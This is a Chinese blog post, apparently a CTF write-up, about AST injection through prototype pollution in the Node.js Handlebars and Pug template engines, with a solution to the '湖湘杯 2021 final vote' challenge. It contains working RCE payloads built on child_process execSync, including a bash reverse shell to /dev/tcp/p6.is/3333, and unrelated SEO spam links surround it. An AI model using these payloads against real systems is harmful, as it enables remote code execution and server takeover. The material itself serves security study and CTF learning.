当前位置: 首页 > news >正文

网站服务器升级一般多久百度自媒体注册入口

网站服务器升级一般多久,百度自媒体注册入口,网站建设空间什么意思,wordpress注入docker文章目录 概念漏洞Handlebarspug 例题 [湖湘杯 2021 final]vote 概念 什么是AST注入 在NodeJS中,AST经常被在JS中使用,作为template engines(引擎模版)和typescript等。对于引擎模版,结构如下图所示。 如果在JS应用中存在原型污染漏洞&…

文章目录

  • 概念
  • 漏洞
    • Handlebars
    • pug
  • 例题 [湖湘杯 2021 final]vote


概念

什么是AST注入

在NodeJS中,AST经常被在JS中使用,作为template engines(引擎模版)和typescript等。对于引擎模版,结构如下图所示。
在这里插入图片描述
如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。
在这里插入图片描述在这里,你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。

然后我们可以向Parser(编译器)非预期的输入。

下面就是展示实际中在handlebars和pug使用AST注入执行任意命令

漏洞

Handlebars

本地测试,代码如下

const Handlebars = require('handlebars');const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);console.log(template({"msg": "posix"}));

这是如何在handlebars使用模板的方法,运行结果为下图
在这里插入图片描述

Handlebar.compile函数将字符串转换为模板函数并传递对象因子以供调用

const Handlebars = require('handlebars');Object.prototype.pendingContent = `<script>alert(origin)</script>`const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);console.log(template({"msg": "posix"}));

在这里,我们可以使用原型污染来影响编译过程。
你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。
在这里插入图片描述
构造payload

{"type": "MustacheStatement","path": 0,"params": [{"type": "NumberLiteral","value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"}],"loc": {"start": 0,"end": 0}
}

pug

本地测试,源码如下

const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});console.log(html);

此为在 pug 中使用模板的常见方法,运行结果为下图

在这里插入图片描述

pug.compile函数将字符串转换为模板函数并传递对象以供调用

const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);

在这里插入图片描述

构造payload

 {"__proto__.block": {        "type": "Text",         "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"}
}

例题 [湖湘杯 2021 final]vote

考察的是pug模板引擎下的rce

源码如下

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();router.get('/', (req, res) => {return res.sendFile(path.resolve('views/index.html'));
});router.post('/api/submit', (req, res) => {const { hero } = unflatten(req.body);if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {return res.json({'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })});} else {return res.json({'response': 'Please provide us with correct name.'});}
});module.exports = router;

给了./api/submit路由,然后看到pug.compile
稍微修改下payload,直接使用(这道题反弹shell不成功)

{"hero.name":"锐雯","__proto__.block": {"type": "Text","line": "process.mainModule.require('child_process').execSync('cat /f* > ./static/1.txt')"}
}

成功RCE
在这里插入图片描述

再访问一下static目录的1.txt,得到flag

在这里插入图片描述

http://www.tj-hxxt.cn/news/28716.html

相关文章:

  • 做58类网站需要多少钱seo职位描述
  • 北镇网站建设深圳网站建设运营
  • wordpress 隐藏日期网站优化外包公司
  • 网站所有者查询免费发链接的网站
  • 焦作网站制作深圳网络推广招聘
  • wordpress导入汉化包大连做优化网站哪家好
  • 做模拟人生类的游戏下载网站seo教程搜索引擎优化入门与进阶
  • 怎么把百度到自己的网站苏州seo排名优化课程
  • 做网站用什么后缀格式做好google chrome
  • 南昌做网站哪家专业最常见企业网站有哪些
  • 帝国网站网站手机版怎么做seo关键词分析表
  • 2012r2做网站李守洪排名大师怎么样
  • 网站建设的3个基本原则唐山seo快速排名
  • 如东县文化馆网站建设怎么建设自己的网站
  • 企业级网站开发与部署北京网站建设公司大全
  • 蚌埠网站制作公司seo快速排名软件案例
  • 织梦dedecms医院类网站在线预约挂号插件_utf8手机百度极速版app下载安装
  • 陕西的网站建设公司哪家好百度云官网登录首页
  • 一个网站seo做哪些工作百度小说风云榜排名完结
  • 电商网站建设 问题 心得体会排名优化外包公司
  • 长沙如何做百度的网站推广seo优化内容
  • 做网站一定要用服务器吗优化网站排名推广
  • 做直播的小视频在线观看网站武汉网站开发公司
  • 皖icp合肥网站建设百度指数官方版
  • 公司企业宣传片视频百度seo公司
  • 湖北移动网站建设百度 营销中心
  • 淘宝客必须建网站吗西安seo哪家好
  • 阿里云个人备案可以做企业网站什么是淘宝搜索关键词
  • 沈阳小程序开发公司哪家好连云港seo公司
  • 企业网站功能间联系免费制作logo的网站